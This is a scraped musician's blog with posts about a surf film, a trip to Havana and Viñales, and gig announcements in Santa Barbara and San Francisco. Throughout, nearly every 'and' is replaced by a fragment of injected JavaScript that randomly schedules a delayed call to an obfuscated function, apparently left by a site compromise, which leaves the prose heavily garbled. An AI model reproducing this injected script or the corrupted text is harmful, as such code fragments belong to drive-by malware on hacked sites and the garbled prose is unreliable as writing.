A Deeper Shade of Blue

My talented friend Jack Mccoy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} his latest surf film, A Deeper Shade of Blue will give you a view into surfing you’ve never seen before. The history, characters andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} way of life around the ocean is truly inspiring. Beautiful footage, beautiful story. Playing in theaters Thursday, March 28th- one night only! I’ll be at the Arlington in Santa Barbara. And look out for my silly grin in the opening sequence; I got a little cameo appearance in there!

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Cuba! Música, sol, granjas, amigos.

When I was twelve years old I remember seeing the Buena Vista Social Club movie andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} feeling swept with intrigue… these charming Cuban men ripped on their instruments, sang with profound soul andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} wisdom, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} were only just discovered in their old age! Their weathered skin, smile-creased faces, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} slurred rough-around-the-edges Spanish formed distinct characters in my mind… ones of passion, artistry, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} timelessness.

Classic Cuba

Havana streets

This curiosity brought my mom andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I on a recent journey together. Guitar in handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, I found myself on the streets of Havana, soaking in everything I had imagined the city to be. The buildings were in complete decay; the salty coastal breezes andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} heat of the Caribbean slowly melting the once regal architecture. Exhaust filled the air as 1950’s American automobiles barreled by, honking their horns while the driver yelled something incomprehensible out the window. Men tried to woo me at every turn, showering me with not so discrete compliments or desires. People hung out of their apartment windows, puffing cigars, observing the happenings on the street andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} watching the day drift by. At any hour (but especially once the sun set), incredible rhythms andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} melodies of salsa, bolero, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} merengue could be heard at every turn. Our very first night we stumbled upon a small understated restaurant where a trio of musicians played together; two guitars, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} percussion. I joyfully sung along to the tunes I knew, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} they noticed… offering up a guitar for me. It felt like a bit of a dream… the flaking turquoise paint on the walls, the banner of Che on the wall, the shake of the maraca, the irresistible rhythms… I was really playing music with locals in Cuba.Restaurant Jams

The expedition continued west to the Valle de Viñales, a town in an agricultural valley with dramatic rock formations jutting skyward from the red fertile earth. Tractors, old cars, horses, pedestrians, oxen carts, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bicycles all shared the road. We mostly tended to the home stays andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} this particular family showed us the warmest hospitality. Marcelo, the man of the house was a proud man, a salt of the earth pig andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cock fighting rooster farmer. My mama andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} him enthusiastically exchanged their thoughts, stories, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} passion with raising animals. Our neighbors who shared the back yard space were both musicians. Arturo andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Isidro play at one of the restaurants every night with their bandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}— soulful, warm, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} classic music. It was an honor to sing andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} play with chickens clucking around our feet, laundry hanging on the line, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} children curiously popping in andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} out.

Viñales

Marcelo
Screen Shot 2013-03-14 at 9.47.57 AMCuba is a stunning, raw, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} complex country. The people are hungry for more opportunity andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} access to resources. They are grateful for the good education andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} health care, yet they are frustrated that nearly all their income goes to the state. We were baffled that many of our taxi drivers were educated professionals: doctors, university professors, engineers!! They were driving taxis because they were making much more money through tourism than they were through their vocational careers… Farmers failed to get the water andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tools they needed for a successful crop (we were there during a dry spell, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} many were suffering). There is so much potential for their economy, yet the loopholes in the system limit movement forward. That being said, it was refreshing for me to feel like we went back in time. There were very few computers anywhere– it was nearly impossible to find a place with internet (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I gladly embraced this cyberspace vacation!). The environment andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} biodiversity is much healthier than it would be if there were economic incentive to exploit resources. The simplicity of life allowed for meaningful relationships andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} time for creativity, togetherness, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} community. I do hope to go back someday. Perhaps to record an album with the maestros andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} reyes/reinas of colorful life andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} music.

Soroa with mamita

 

 

 

 

 

 

 

I wish I had a better video recording device to capture these sounds… nothing compares to listening to them live in Havana!!

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How does he move his fingers so fast?

Connor Forsyth from Austin Texas joined me last night for a gig in Santa Barbara. He definitely keeps things rhythmic andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} buoyant… Naturally at home on the keys andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lifting spirits. It’s automatic party time when Connor andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a piano are in the same room.

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SB Brewhouse

Brewhouse 1:18:13

Come join us for a cozy yet lively evening at the Santa Barbara Brewhouse! Live music, delicious beverages, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} quality friends…

Featuring Anastasia Van Wingerden on lead guitar andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} vocals. With the soulful andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} talented Sara Barbour on violin andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} back up vocals.
Bass, rhythm, special guests, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} all things fabulous.

Hope to see you there!

229 W. Montecito St.
Santa Barbara, CA 93101
805-884-4664

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SB Magazine

Pick up a copy of Santa Barbara magazine's latest winter publication. You may see someone familiar on the music scene hotlist!

Pick up a copy of Santa Barbara magazine’s latest winter publication. You may see someone familiar on the music scene hotlist!

 

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Carpinteria Plaza Theater

See you there on Friday!

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Red Poppy MAPP

San Francisco’s skies have brought a cleansing rain to us… A perfect time to get cozy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enjoy some live music.  I’ll be playing for the MAPP series (Mission Arts Performance Project) tomorrow, Saturday December 1st at the Red Poppy Art House (23rd andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Folsom St.). 9:50pm

 And make sure to enjoy the rest of the evening’s creative concerts, readings, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} galleries! http://www.sfmapp.com/
Always FREE, always FABULOUS.
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Pacific Music Video

After a beautiful weekend of filming, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} much love andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} collaboration… we present to you the finished “Pacific” music video! Big thanks to Chappellet studios andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the musical farmstead community that made it all possible.

 

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Election day

Let’s all remind ourselves that it all comes down to the best body surfer

I guess Obama andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} I have something in common….

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Tupelo This Friday!

***Note, there has been a change– a double booking occurred, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} we are playing Friday eve, NOT Saturday.  Same time, same groovy bandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s!

SF Giants in the World Series, Halloween weekend, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Anastasia andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the SunKeepers at Tupelo! A night you don’t want to miss. Join us at this merrymaking club in North Beach! Friday Oct. 26th @ 9pm. 1337 Grant Ave. SF

 

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